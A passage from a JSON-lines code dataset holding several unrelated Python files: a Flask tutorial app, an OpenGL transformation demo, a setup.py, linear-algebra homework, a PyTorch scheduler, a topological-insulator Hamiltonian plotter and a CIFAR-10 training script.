\".format(name)\n\n\n# http://127.0.0.1:5000/user\n# >> hello there! mina\n\n# http://127.0.0.1:5000/user\n# >> hello there! bryan\n\n# NUMBERS\n@app.route(('/numbers/'))\ndef working_with_numbers(num):\n return \"

the number you pick is: {}

\".format(num)\n\n\n# http://127.0.0.1:5000/numbers/12\n# >> the number you pick is: 12\n\n\n# NUMBERS\n@app.route('/add//')\ndef adding_integers(num1, num2):\n return \"

the sum is :{} \".format(num1 + num2) + \"

\"\n\n\n# http://127.0.0.1:5000/add/12/111\n# >> the sum is :123\n\n\n# USING TEMPLATES\n@app.route('/temp')\ndef using_templates():\n return render_template('hello.html')\n\n\n# jinjia TEMPLATES\n@app.route('/watch')\ndef movies_2017():\n movie_list = ['autopsy of jane doe',\n 'neon demon',\n 'ghost in a shell',\n 'kong : skull island',\n 'john wick 2',\n 'spiderman - homecoming']\n\n return render_template('movies.html',\n movies=movie_list,\n name='Harry')\n\n\n@app.route('/tables')\ndef movie_plus():\n movies_dict = {\n 'autospy of jane doe': 02.14,\n 'neon demon': 3.20,\n 'ghost in a shell': 1.50,\n 'kong:skull island': 3.50,\n 'john wick 2': 02.52,\n 'spiderman - homecoming': 1.48\n }\n return render_template('table_data.html',\n movies=movies_dict,\n name='Sally')\n\n\n@app.route('/filters')\ndef filter_data():\n movies_dict = {\n 'autospy of jane doe': 02.14,\n 'neon demon': 3.20,\n 'ghost in a shell': 1.50,\n 'kong:skull island': 3.50,\n }\n return render_template('filter_data.html',\n movies=movies_dict,\n name=None,\n film='a christmas carol')\n\n\n@app.route('/macros')\ndef jinja_macros():\n movies_dict = {\n 'autospy of jane doe': 02.14,\n 'neon demon': 3.20,\n 'ghost in a shell': 1.50,\n 'kong:skull island': 3.50,\n 'john wick 2': 02.52,\n 'spiderman - homecoming': 1.48\n }\n return render_template('using_macros.html', movies=movies_dict)\n\n\nclass Publication(db.Model):\n __tablename__ = 'publication'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), nullable=False)\n\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return 'Publisher is {}'.format( self.name)\n\n\nclass Book(db.Model):\n __tablename__ = 'book'\n\n id = db.Column(db.Integer,primary_key=True)\n title = db.Column(db.String(500),nullable=False,index=True)\n author = db.Column(db.String(350))\n avg_rating = db.Column(db.Float)\n format = db.Column(db.String(50))\n image = db.Column(db.String(100),unique=True)\n num_pages = db.Column(db.Integer)\n pub_date = db.Column(db.DateTime,default=datetime.utcnow())\n\n # Relationship\n pub_id = db.Column(db.Integer,db.ForeignKey('publication.id'))\n\n def __init__(self,title,author,avg_rating,book_format,image,num_pages,pub_id):\n\n self.title = title\n self.author =author\n self.avg_rating = avg_rating\n self.format = book_format\n self.image = image\n self.num_pages = num_pages\n self.pub_id = pub_id\n\n def __repr__(self):\n return '{} by {}'.format(self.title,self.author)\n\n\nif __name__ == '__main__':\n\n db.create_all()\n app.run(debug=True)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"415866292","text":"#Copyright (c) 2018-2020 William Emerison Six\n#\n#Permission is hereby granted, free of charge, to any person obtaining a copy\n#of this software and associated documentation files (the \"Software\"), to deal\n#in the Software without restriction, including without limitation the rights\n#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n#copies of the Software, and to permit persons to whom the Software is\n#furnished to do so, subject to the following conditions:\n#\n#The above copyright notice and this permission notice shall be included in all\n#copies or substantial portions of the Software.\n#\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n#SOFTWARE.\n\n\n# PURPOSE\n#\n# Rotate the square around it's origin. Reading the modelspace to\n# world space transformations should make this straightforward.\n# Try reading them from the top down. Does in make sense that way?\n#\n#\n#\n\n# |=======================================\n# |Keyboard Input |Action\n# |w |Move Left Paddle Up\n# |s |Move Left Paddle Down\n# |i |Move Right Paddle Up\n# |k |Move Right Paddle Down\n# | |\n# |d |Increase Left Paddle's Rotation\n# |a |Decrease Left Paddle's Rotation\n# |l |Increase Right Paddle's Rotation\n# |j |Decrease Right Paddle's Rotation\n# | |\n# |q |Rotate the square around it's center\n# | |\n# |UP |Move the camera up, moving the objects down\n# |DOWN |Move the camera down, moving the objects up\n# |LEFT |Move the camera left, moving the objects right\n# |RIGHT |Move the camera right, moving the objects left\n# |=======================================\n\nimport sys\nimport os\nimport numpy as np\nimport math\nfrom OpenGL.GL import *\nimport glfw\n\nif not glfw.init():\n sys.exit()\n\nglfw.window_hint(glfw.CONTEXT_VERSION_MAJOR,1)\nglfw.window_hint(glfw.CONTEXT_VERSION_MINOR,4)\n\nwindow = glfw.create_window(500,\n 500,\n \"ModelViewProjection Demo 12\",\n None,\n None)\nif not window:\n glfw.terminate()\n sys.exit()\n\n# Make the window's context current\nglfw.make_context_current(window)\n\n# Install a key handler\ndef on_key(window, key, scancode, action, mods):\n if key == glfw.KEY_ESCAPE and action == glfw.PRESS:\n glfw.set_window_should_close(window,1)\nglfw.set_key_callback(window, on_key)\n\nglClearColor(0.0,\n 0.0,\n 0.0,\n 1.0)\n\n\nglMatrixMode(GL_PROJECTION);\nglLoadIdentity();\nglMatrixMode(GL_MODELVIEW);\nglLoadIdentity();\n\n\ndef draw_in_square_viewport():\n # clear to gray.\n glClearColor(0.2, #r\n 0.2, #g\n 0.2, #b\n 1.0) #a\n glClear(GL_COLOR_BUFFER_BIT)\n\n width, height = glfw.get_framebuffer_size(window)\n # figure out the minimum dimension of the window\n min = width if width < height else height\n\n # per pixel than just it's current color.\n glEnable(GL_SCISSOR_TEST)\n glScissor(int((width - min)/2.0), #min x\n int((height - min)/2.0), #min y\n min, #width x\n min) #width y\n\n glClearColor(0.0, #r\n 0.0, #g\n 0.0, #b\n 1.0) #a\n # gl clear will only update the square to black values.\n glClear(GL_COLOR_BUFFER_BIT)\n # disable the scissor test, so now any opengl calls will\n # happen as usual.\n glDisable(GL_SCISSOR_TEST)\n\n # But, we only want to draw within the black square.\n # We set the viewport, so that the NDC coordinates\n # will be mapped the the region of screen coordinates\n # that we care about, which is the black square.\n glViewport(int(0.0 + (width - min)/2.0), #min x\n int(0.0 + (height - min)/2.0), #min y\n min, #width x\n min) #width y\n\n\nclass Vertex:\n def __init__(self,x,y):\n self.x = x\n self.y = y\n\n def translate(self, tx, ty):\n return Vertex(x=self.x + tx, y=self.y + ty)\n\n def scale(self, scale_x, scale_y):\n return Vertex(x=self.x * scale_x, y=self.y * scale_y)\n\n def rotate(self,angle_in_radians):\n return Vertex(x= self.x * math.cos(angle_in_radians) - self.y * math.sin(angle_in_radians),\n y= self.x * math.sin(angle_in_radians) + self.y * math.cos(angle_in_radians))\n\nclass Paddle:\n def __init__(self,vertices, r, g, b, initial_position, rotation=0.0, input_offset_x=0.0, input_offset_y=0.0):\n self.vertices = vertices\n self.r = r\n self.g = g\n self.b = b\n self.rotation = rotation\n self.input_offset_x = input_offset_x\n self.input_offset_y = input_offset_y\n self.initial_position = initial_position\n\n\npaddle1 = Paddle(vertices=[Vertex(x=-10.0, y=-30.0),\n Vertex(x= 10.0, y=-30.0),\n Vertex(x= 10.0, y=30.0),\n Vertex(x=-10.0, y=30.0)],\n r=0.578123,\n g=0.0,\n b=1.0,\n initial_position=Vertex(-90.0,0.0))\n\npaddle2 = Paddle(vertices=[Vertex(x=-10.0, y=-30.0),\n Vertex(x= 10.0, y=-30.0),\n Vertex(x= 10.0, y=30.0),\n Vertex(x=-10.0, y=30.0)],\n r=1.0,\n g=0.0,\n b=0.0,\n initial_position=Vertex(90.0,0.0))\ncamera_x = 0.0\ncamera_y = 0.0\n\nsquare = [Vertex(x=-5.0, y=-5.0),\n Vertex(x= 5.0, y=-5.0),\n Vertex(x= 5.0, y= 5.0),\n Vertex(x=-5.0, y= 5.0)]\nsquare_rotation = 0.0\n\n\ndef handle_inputs():\n global square_rotation\n if glfw.get_key(window, glfw.KEY_Q) == glfw.PRESS:\n square_rotation += 0.1\n\n global camera_x, camera_y\n\n if glfw.get_key(window, glfw.KEY_UP) == glfw.PRESS:\n camera_y += 10.0\n if glfw.get_key(window, glfw.KEY_DOWN) == glfw.PRESS:\n camera_y -= 10.0\n if glfw.get_key(window, glfw.KEY_LEFT) == glfw.PRESS:\n camera_x -= 10.0\n if glfw.get_key(window, glfw.KEY_RIGHT) == glfw.PRESS:\n camera_x += 10.0\n\n global paddle1, paddle2\n\n if glfw.get_key(window, glfw.KEY_S) == glfw.PRESS:\n paddle1.input_offset_y -= 10.0\n if glfw.get_key(window, glfw.KEY_W) == glfw.PRESS:\n paddle1.input_offset_y += 10.0\n if glfw.get_key(window, glfw.KEY_K) == glfw.PRESS:\n paddle2.input_offset_y -= 10.0\n if glfw.get_key(window, glfw.KEY_I) == glfw.PRESS:\n paddle2.input_offset_y += 10.0\n\n global paddle_1_rotation, paddle_2_rotation\n\n if glfw.get_key(window, glfw.KEY_A) == glfw.PRESS:\n paddle1.rotation += 0.1\n if glfw.get_key(window, glfw.KEY_D) == glfw.PRESS:\n paddle1.rotation -= 0.1\n if glfw.get_key(window, glfw.KEY_J) == glfw.PRESS:\n paddle2.rotation += 0.1\n if glfw.get_key(window, glfw.KEY_L) == glfw.PRESS:\n paddle2.rotation -= 0.1\n\nTARGET_FRAMERATE = 60 # fps\n\n# to try to standardize on 60 fps, compare times between frames\ntime_at_beginning_of_previous_frame = glfw.get_time()\n\n# Loop until the user closes the window\nwhile not glfw.window_should_close(window):\n # poll the time to try to get a constant framerate\n while glfw.get_time() < time_at_beginning_of_previous_frame + 1.0/TARGET_FRAMERATE:\n pass\n # set for comparison on the next frame\n time_at_beginning_of_previous_frame = glfw.get_time()\n\n # Poll for and process events\n glfw.poll_events()\n\n width, height = glfw.get_framebuffer_size(window)\n glViewport(0, 0, width, height)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n # render scene\n draw_in_square_viewport()\n handle_inputs()\n\n # draw paddle1\n glColor3f(paddle1.r,\n paddle1.g,\n paddle1.b)\n\n glBegin(GL_QUADS)\n for model_space in paddle1.vertices:\n world_space = model_space.rotate(paddle1.rotation) \\\n .translate(tx=paddle1.initial_position.x,\n ty=paddle1.initial_position.y) \\\n .translate(tx=paddle1.input_offset_x,\n ty=paddle1.input_offset_y)\n\n camera_space = world_space.translate(tx=-camera_x,\n ty=-camera_y)\n ndc_space = camera_space.scale(scale_x=1.0/100.0,\n scale_y=1.0/100.0)\n glVertex2f(ndc_space.x,\n ndc_space.y)\n glEnd()\n\n # draw square\n glColor3f(0.0, #r\n 0.0, #g\n 1.0) #b\n glBegin(GL_QUADS)\n for model_space in square:\n paddle_1_space = model_space.rotate(square_rotation) \\\n .translate(tx=20.0, ty=0.0)\n world_space = paddle_1_space.rotate(paddle1.rotation) \\\n .translate(tx=paddle1.initial_position.x,\n ty=paddle1.initial_position.y) \\\n .translate(tx=paddle1.input_offset_x,\n ty=paddle1.input_offset_y)\n camera_space = world_space.translate(tx=-camera_x,\n ty=-camera_y)\n ndc_space = camera_space.scale(scale_x=1.0/100.0,\n scale_y=1.0/100.0)\n glVertex2f(ndc_space.x,\n ndc_space.y)\n glEnd()\n\n # draw paddle2\n glColor3f(paddle2.r,\n paddle2.g,\n paddle2.b)\n\n glBegin(GL_QUADS)\n for model_space in paddle2.vertices:\n world_space = model_space.rotate(paddle2.rotation) \\\n .translate(tx=paddle2.initial_position.x,\n ty=paddle2.initial_position.y) \\\n .translate(tx=paddle2.input_offset_x,\n ty=paddle2.input_offset_y)\n\n camera_space = world_space.translate(tx=-camera_x,\n ty=-camera_y)\n ndc_space = camera_space.scale(scale_x=1.0/100.0,\n scale_y=1.0/100.0)\n glVertex2f(ndc_space.x,\n ndc_space.y)\n glEnd()\n\n # done with frame, flush and swap buffers\n # Swap front and back buffers\n glfw.swap_buffers(window)\n\nglfw.terminate()\n","sub_path":"demo12/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":10997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"567248291","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '0.4dev'\nname='z3c.recipe.openoffice'\n\ndef read(*rnames):\n return open(os.path.join(os.path.dirname(__file__), *rnames)).read()\n\nsetup(\n name=name,\n version=version,\n author=\"Infrae\",\n author_email=\"faassen@infrae.com\",\n description=\"zc.buildout recipe that downloads and installs OpenOffice.org\",\n long_description=(read('README.txt')),\n license='ZPL 2.1',\n keywords = \"buildout openoffice\",\n url='http://svn.zope.org/z3c.recipe.openoffice',\n\n packages=find_packages('src'),\n include_package_data=True,\n package_dir = {'': 'src'},\n namespace_packages=['z3c', 'z3c.recipe'],\n install_requires=['zc.buildout', 'setuptools'],\n entry_points={'zc.buildout': ['default = %s.recipe:Recipe' % name]},\n zip_safe=False,\n )\n","sub_path":"z3c.recipe.openoffice/branches/jacobholm-OOo3-support/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"428358640","text":"from vec import Vec\nfrom mat import Mat\nfrom matutil import *\nfrom vecutil import *\nfrom hw4 import *\n\n## Problem 18\ndef exchange(S, A, z):\n '''\n Input:\n - S: a list of vectors, as instances of your Vec class\n - A: a list of vectors, each of which are in S, with len(A) < len(S)\n - z: an instance of Vec such that A+[z] is linearly independent\n Output: a vector w in S but not in A such that Span S = Span ({z} U S - {w})\n Example:\n >>> S = [list2vec(v) for v in [[0,0,5,3],[2,0,1,3],[0,0,1,0],[1,2,3,4]]]\n >>> A = [list2vec(v) for v in [[0,0,5,3],[2,0,1,3]]]\n >>> z = list2vec([0,2,1,1])\n >>> exchange(S, A, z) == Vec({0, 1, 2, 3},{0: 0, 1: 0, 2: 1, 3: 0})\n True\n '''\n S_ = S + z\n for v in S:\n if v not in A:\n S_.remove(v)\n if is_independent(S_):\n return S\n else:\n S_.append(v)\n\n\nS = [list2vec(v) for v in [[3,67,8,4],[0,6,3,4],[5,9,5,2],[67,342,567,5],[9,5,9,0],[7,4,5,3],[34,7,65,3]]]\nA = [list2vec(v) for v in [[3,67,8,4],[0,6,3,4]]]\nz = list2vec([0,0,0,1])\n\ns = \"\"\"\n>>> print(test_format((exchange(S, A, z) == list2vec([9,5,9,0])) or (exchange(S, A, z) == list2vec([7,4,5,3])) or (exchange(S, A, z) == list2vec([34, 7, 65, 3]))))\n\"\"\"\n\"\"\"\nFalse\n>>> print(test_format((exchange(S, A, z) == list2vec([5,9,5,2])) or (exchange(S, A, z) == list2vec([67,342,567,5]))))\nFalse\n\"\"\"\n\nL = superset_basis(A,S)\nS_ = L + [z]\nfor i, v in enumerate(L):\n if is_superfluous(S_, i) and v not in A:\n break\n\nprint(v)\ninput()\n\nL = superset_basis(A,S)\nif not is_independent(L):\n print(\"Starting set is not independent\")\n\nS_ = L + [z]\nfor v in S_:\n print(v)\n\ninput()\n\n\nfor v in L:\n if v not in A:\n print(\"trying\", v)\n S_.remove(v)\n if is_independent(S_):\n print(\"solution\", v)\n break\n else:\n S_.append(v)\nelse:\n print(\"no solution\")\n\n","sub_path":"matrix/hw4/t3.py","file_name":"t3.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"391000529","text":"import math\nimport sys\n\nimport torch.optim.lr_scheduler as lr_scheduler\nfrom torch.optim.lr_scheduler import _LRScheduler\n\nfrom core.logger import debug, ChronosLogger\n\nlogger = ChronosLogger.get_logger()\n\n\nclass PolyLrDecay(_LRScheduler):\n @debug\n def __init__(self, power, max_epochs, optimizer, epoch):\n self.max_epoch = max_epochs\n self.power = power\n if epoch == 1:\n start_epoch = -1\n else:\n start_epoch = epoch - 1\n super(PolyLrDecay, self).__init__(optimizer, start_epoch)\n\n def get_lr(self):\n\n new_lrs = [\n base_lr * (1 - (self.last_epoch - 1) / self.max_epoch) ** self.power\n for base_lr in self.base_lrs\n ]\n logger.debug(\"New learning Rate Set {}\".format(new_lrs))\n return new_lrs\n\n def step(self, epoch):\n self.last_epoch = epoch + 1\n logger.debug(\"Scheduler Taking Step {}\".format(self.last_epoch))\n for param_group, lr in zip(self.optimizer.param_groups, self.get_lr()):\n param_group[\"lr\"] = lr\n\n\ndef lr_finder_lambda(end_lr, start_lr, total_epoch, tran_loader_len):\n lr_lambda = lambda x: math.exp(\n x * math.log(end_lr / start_lr) / (total_epoch * tran_loader_len)\n )\n return lr_lambda\n\n\n@debug\ndef get_scheduler(scheduler: str, **kwargs):\n if hasattr(lr_scheduler, scheduler):\n return getattr(lr_scheduler, scheduler)(**kwargs)\n else:\n return str_to_class(scheduler)(**kwargs)\n\n\ndef str_to_class(class_name: str):\n class_obj = getattr(sys.modules[__name__], class_name)\n return class_obj\n","sub_path":"ml/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"574437134","text":"# Define Hamiltonian for TI Film\nimport os\nimport numpy as np\nfrom scipy import linalg\nfrom numbers import Integral\nimport matplotlib as mpl\nmpl.use(\"Agg\")\nfrom matplotlib import pyplot as plt\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nfrom _utils import sig, convertSpin\n\n\ndef SpinZ(M):\n r'''\n Return an array of Spin in Z direction, with a form of $(Sx,Sy,Sz)$\n '''\n # vS[i] discribe the spin distribution\n # first component is the intensity, from 0 to 1\n # second and three term is the theta and phi, describe the direction of the spin\n # S_[i] is the spin vector\n vS = np.array([[1, 0, 0]]*M)\n S_ = np.array([([s[0]*np.sin(s[1])*np.cos(s[2]), s[0]*np.sin(s[1])\n * np.sin(s[2]), s[0]*np.cos(s[1])])for s in vS])\n return S_\n\n\ndef Hamiltonian(N=20, J=0, S=[], U=[], Delta=3,\n *, A1=2.26, A2=3.33, C=-0.0083, D1=5.74, D2=30.4,\n M=0.28, B1=6.86, B2=44.5):\n '''\n Default constants from PHYSICAL REVIEW B 82, 045122 (2010)\n '''\n assert isinstance(N, Integral), \"N should be an interger!\"\n assert (J > 0) or (abs(J) < 1e-9), \"J should >0!\"\n if S == []:\n S = SpinZ(N)\n if U == []:\n U = np.zeros([N])\n assert len(S) == N, \"Length of S distribution should equal to N\"\n assert len(U) == N, \"Length of U distribution should equal to N\"\n\n # Prerequisite matrices\n Gzz = np.array(np.diag([D1-B1, D1+B1, D1-B1, D1+B1]), dtype=complex)\n Gz = np.zeros([4, 4], dtype=complex)\n Gz[0, 1] = Gz[1, 0] = 1.0j*A1\n Gz[3, 2] = Gz[2, 3] = -1.0j*A1\n t_p = -1*Gzz/(Delta*Delta)-Gz/(2*Delta)\n t_m = -1*Gzz/(Delta*Delta)+Gz/(2*Delta)\n\n def _ham(kx, ky):\n def E_(kx, ky):\n return C+D2*(kx*kx+ky*ky)\n\n def M_(kx, ky):\n return M-B2*(kx*kx+ky*ky)\n\n h0 = np.zeros([4, 4], dtype=complex)\n h0[0, 0] = h0[2, 2] = M_(kx, ky)\n h0[1, 1] = h0[3, 3] = -1*M_(kx, ky)\n h0[0, 3] = h0[1, 2] = A2*(kx-1.0j*ky)\n h0[3, 0] = h0[2, 1] = A2*(kx+1.0j*ky)\n zero = np.zeros([4, 4], dtype=complex)\n\n h_ = np.array([((E_(kx, ky)+U[i])*np.identity(4, dtype=complex)+2 *\n Gzz/(Delta*Delta)+h0-J*sum([S[i, j]*sig[j] for j in range(3)])) for i in range(N)])\n\n def row(i):\n return np.column_stack([(h_[i] if j == i else (t_m if j+1 == i else(t_p if j-1 == i else zero)))for j in range(N)])\n return np.row_stack([row(i) for i in range(N)])\n return _ham\n\n\nxRange, yRange, Nx, Ny = 0.05, 0.05, 50, 50\nX_ = np.linspace(-xRange, xRange, Nx+1, endpoint=True)\nY_ = np.linspace(-yRange, yRange, Ny+1, endpoint=True)\n\n\ndef Eig(h, xRange=xRange, yRange=yRange, Nx=Nx, Ny=Ny):\n '''\n Accept callable object h(kx,ky);\n Return a matrix, Eig[Band_Index,kx_index,ky_index]\n '''\n assert isinstance(Nx, Integral), \"Nx should be an interger!\"\n assert isinstance(Ny, Integral), \"Ny should be an interger!\"\n\n N1 = h(0, 0).shape[0]\n N = int(N1/4)\n dkx, dky = 2*xRange/Nx, 2*yRange/Ny\n bs = np.zeros([Nx+1, Ny+1, 4*N], dtype=float)\n for i in range(Nx+1):\n for j in range(Ny+1):\n kx, ky = -xRange+dkx*i, -yRange+dky*j\n temp = np.array([x.real for x in (linalg.eig(h(kx, ky))[0])])\n temp.sort()\n bs[i, j] = temp\n\n temp = [([([bs[i, j, n] for j in range(Ny+1)]) for i in range(Nx+1)])\n for n in range(4*N)]\n return np.array(temp)\n\n\ndef Gap(E, k=None):\n if k != None:\n assert type(k) == tuple, \"Accept para like (kx_index,ky_index)!\"\n assert len(k) == 2, \"Accept para like (kx_index,ky_index)!\"\n N = int(E.shape[0]/4)\n _Gap = E[2*N]-E[2*N-1]\n return min(_Gap)\n else:\n return E[k[0], k[1]]\n\n\ndef plotBS(E, start, end, X=X_, Y=Y_, filename=\"\", title=\"\"):\n x, y = np.meshgrid(X, Y, indexing=\"ij\")\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n for Z in E[start:end]:\n ax.plot_surface(x, y, Z, cmap=cm.coolwarm,\n linewidth=0, antialiased=False)\n\n ax.zaxis.set_major_locator(LinearLocator(10))\n ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\n ax.set_xlabel(r\"$k_x(\\rm \\AA^{-1})$\")\n ax.set_ylabel(r\"$k_y(\\rm \\AA^{-1})$\")\n\n ax.set_zlabel(r\"$E/\\rm{eV}$\")\n ax.set_title(title)\n if filename == \"\":\n plt.show()\n else:\n path = os.path.join(\"Pictures\", filename+\".png\")\n plt.savefig(path)\n\n\ndef plotLine(h, start, end, xRange=0.05, Nx=20, axis=\"x\", filename=\"\", title=\"\"):\n assert isinstance(Nx, Integral), \"N should be an integer!\"\n\n step = 2*xRange/Nx\n if axis == \"x\":\n X = np.array([[-xRange+step*i, 0]for i in range(Nx+1)])\n else:\n X = np.array([[0, -xRange+step*i]for i in range(Nx+1)])\n N_band = h(0, 0).shape[0]\n E = np.zeros([Nx+1, N_band], dtype=float)\n for i in range(Nx+1):\n temp = np.array([x.real for x in (linalg.eig(h(X[i, 0], X[i, 1]))[0])])\n temp.sort()\n E[i] = temp\n # print(Eig)\n Z = np.array([[E[i, j] for i in range(Nx+1)] for j in range(N_band)])\n # print(Z)\n plt.subplot(1, 1, 1)\n x = np.linspace(-xRange, xRange, Nx+1, endpoint=True)\n\n for b in Z[start:end]:\n plt.plot(x, b)\n plt.xlabel(r\"$k_x(\\rm \\AA^{-1})$\")\n plt.ylabel(r\"$E(eV)$\")\n plt.title(title)\n if filename != \"\":\n plt.savefig(filename+\".png\")\n else:\n plt.show()\n # print(\"End!\")\n\n\nif __name__ == \"__main__\":\n N, Delta, J = 18, 3.33, 0.00\n\n # _S = np.zeros([N, 3])\n # S = convertSpin(_S)\n\n xRange, yRange, Nx, Ny = 0.05, 0.05, 30, 30\n X_ = np.linspace(-xRange, xRange, Nx+1, endpoint=True)\n Y_ = np.linspace(-yRange, yRange, Ny+1, endpoint=True)\n\n h = Hamiltonian(N=N, J=J, Delta=Delta)\n plotLine(h, 2*N-2, 2*N+2, xRange=xRange, Nx=Nx)\n # e = Eig(h, xRange=xRange, yRange=yRange, Nx=Nx, Ny=Ny)\n # plotBS(e, 2*N-2, 2*N+2, X=X_, Y=Y_,\n # title=\"TI Film, Spin: +z, J=0.02, 4 bands\")\n","sub_path":"Release/TI_Film.py","file_name":"TI_Film.py","file_ext":"py","file_size_in_byte":6045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"69679264","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2021/10/7 16:30\r\n# @Author : SuenDanny\r\n# @Site :\r\n# @File : train.py\r\n# @Software: PyCharm\r\n\r\n#导入各种包\r\nimport torch\r\nimport torchvision\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n# from model import *\r\nfrom torch import nn\r\nfrom torch.nn import Flatten\r\nfrom torch.utils.data import DataLoader\r\nimport time\r\n\r\nstart_time = time.time()\r\n\r\n#定义训练设备\r\ndevice = torch.device(\"cuda\")\r\n\r\n#准备训练数据集\r\ntrain_data = torchvision.datasets.CIFAR10(root= './dataset', train=True,\r\n transform=torchvision.transforms.ToTensor(),\r\n download=True)\r\n#准备测试训练集\r\ntest_data = torchvision.datasets.CIFAR10(root= './dataset', train=False,\r\n transform=torchvision.transforms.ToTensor(),\r\n download=True)\r\n\r\ntrain_data_size = len(train_data)\r\ntest_data_size = len(test_data)\r\nprint(\"train_data_len is: {}\".format(train_data_size))\r\nprint(\"test_data_len is: {}\".format(test_data_size))\r\n\r\n#利用dataloader 加载数据集\r\ntrain_data_loader = DataLoader(train_data, batch_size=64)\r\ntest_data_loader = DataLoader(test_data, batch_size=64)\r\n\r\n#创建网络模型\r\n# 搭建神经网络\r\nclass Tudui(nn.Module):\r\n def __init__(self):\r\n super(Tudui, self).__init__()\r\n self.model = nn.Sequential(\r\n nn.Conv2d(in_channels=3, out_channels=32, kernel_size=5, stride=1, padding=2),\r\n nn.MaxPool2d(kernel_size=2),\r\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=5, stride=1, padding=2),\r\n nn.MaxPool2d(kernel_size=2),\r\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=5, stride=1, padding=2),\r\n nn.MaxPool2d(kernel_size=2),\r\n nn.Flatten(),\r\n nn.Linear(in_features=64 * 4 * 4, out_features=64),\r\n nn.Linear(in_features=64, out_features=10)\r\n )\r\n\r\n def forward(self, x):\r\n x = self.model(x)\r\n return x\r\n\r\n\r\nif __name__ == '__main__':\r\n tudui = Tudui()\r\n input = torch.ones((64, 3, 32, 32))\r\n output = tudui(input)\r\n print(output.shape)\r\n\r\n\r\ntudui = Tudui()\r\ntudui = tudui.to(device)\r\n# if torch.cuda.is_available():\r\n# tudui = tudui.cuda()\r\n\r\n# 创建损失函数\r\nloss_fn = nn.CrossEntropyLoss()\r\nloss_fn = loss_fn.to(device)\r\n# loss_fn = loss_fn.cuda()\r\n\r\n# 创建优化器,使用随机梯度下降\r\nlearing_rate = 1e-2\r\noptimizer = torch.optim.SGD(tudui.parameters(), lr=learing_rate)\r\n\r\n\r\n#设置训练网络的一些参数\r\n#记录训练次数\r\ntotal_train_step = 0\r\n#记录测试次数\r\ntotal_test_step = 0\r\n#训练轮数\r\nepoch = 10\r\n\r\n#添加tensorboard\r\nwriter = SummaryWriter(\"./logs_train\")\r\n\r\nfor i in range(epoch):\r\n print(\"-----------第{}轮训练开始------------\".format(i+1))\r\n #训练步骤开始\r\n for data in train_data_loader:\r\n imgs, targets = data\r\n # imgs = imgs.cuda()\r\n # targets = targets.cuda()\r\n imgs = imgs.to(device)\r\n targets = targets.to(device)\r\n\r\n output = tudui(imgs)\r\n loss = loss_fn(output,targets)\r\n\r\n #优化器优化模型,梯度清零\r\n optimizer.zero_grad()\r\n #反向传播\r\n loss.backward()\r\n #梯度下降\r\n optimizer.step()\r\n total_train_step = total_train_step+1\r\n if total_train_step % 100 == 0:\r\n end_time = time.time()\r\n print(end_time-start_time)\r\n print(\"训练次数:{}, Loss : {} \".format(total_train_step, loss.item()))\r\n writer.add_scalar(\"train_loss\", loss.item(), total_train_step)\r\n\r\n #测试步骤开始\r\n total_test_loss = 0\r\n total_accuracy = 0\r\n with torch.no_grad():\r\n for data in test_data_loader:\r\n imgs, targets = data\r\n # imgs = imgs.cuda()\r\n # targets = targets.cuda()\r\n imgs = imgs.to(device)\r\n targets = targets.to(device)\r\n outputs = tudui(imgs)\r\n loss = loss_fn(outputs, targets)\r\n total_test_loss = total_test_loss + loss.item()\r\n accuracy = (outputs.argmax(1) == targets).sum()\r\n total_accuracy = total_accuracy + accuracy\r\n\r\n print(\"整体测试集上的Loss:{}\".format(total_test_loss))\r\n print(\"整体测试集上的正确率:{}\".format(total_accuracy / test_data_size))\r\n writer.add_scalar(\"test_loss\", total_test_loss, total_test_step)\r\n writer.add_scalar(\"test_accuray\", total_accuracy / test_data_size, total_test_step)\r\n total_test_step = total_test_step+1\r\n\r\n torch.save(tudui, \"tudui_{}\".format(i))\r\n print(\"模型已保存\")\r\n\r\nwriter.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"train_gpu_2.py","file_name":"train_gpu_2.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"623082591","text":"import json\nimport re\nfrom .fields.field import Field\n\n\nclass Mapper(object):\n\n def __init__(self, data):\n if not data:\n data = {}\n\n self.__data = data\n\n if 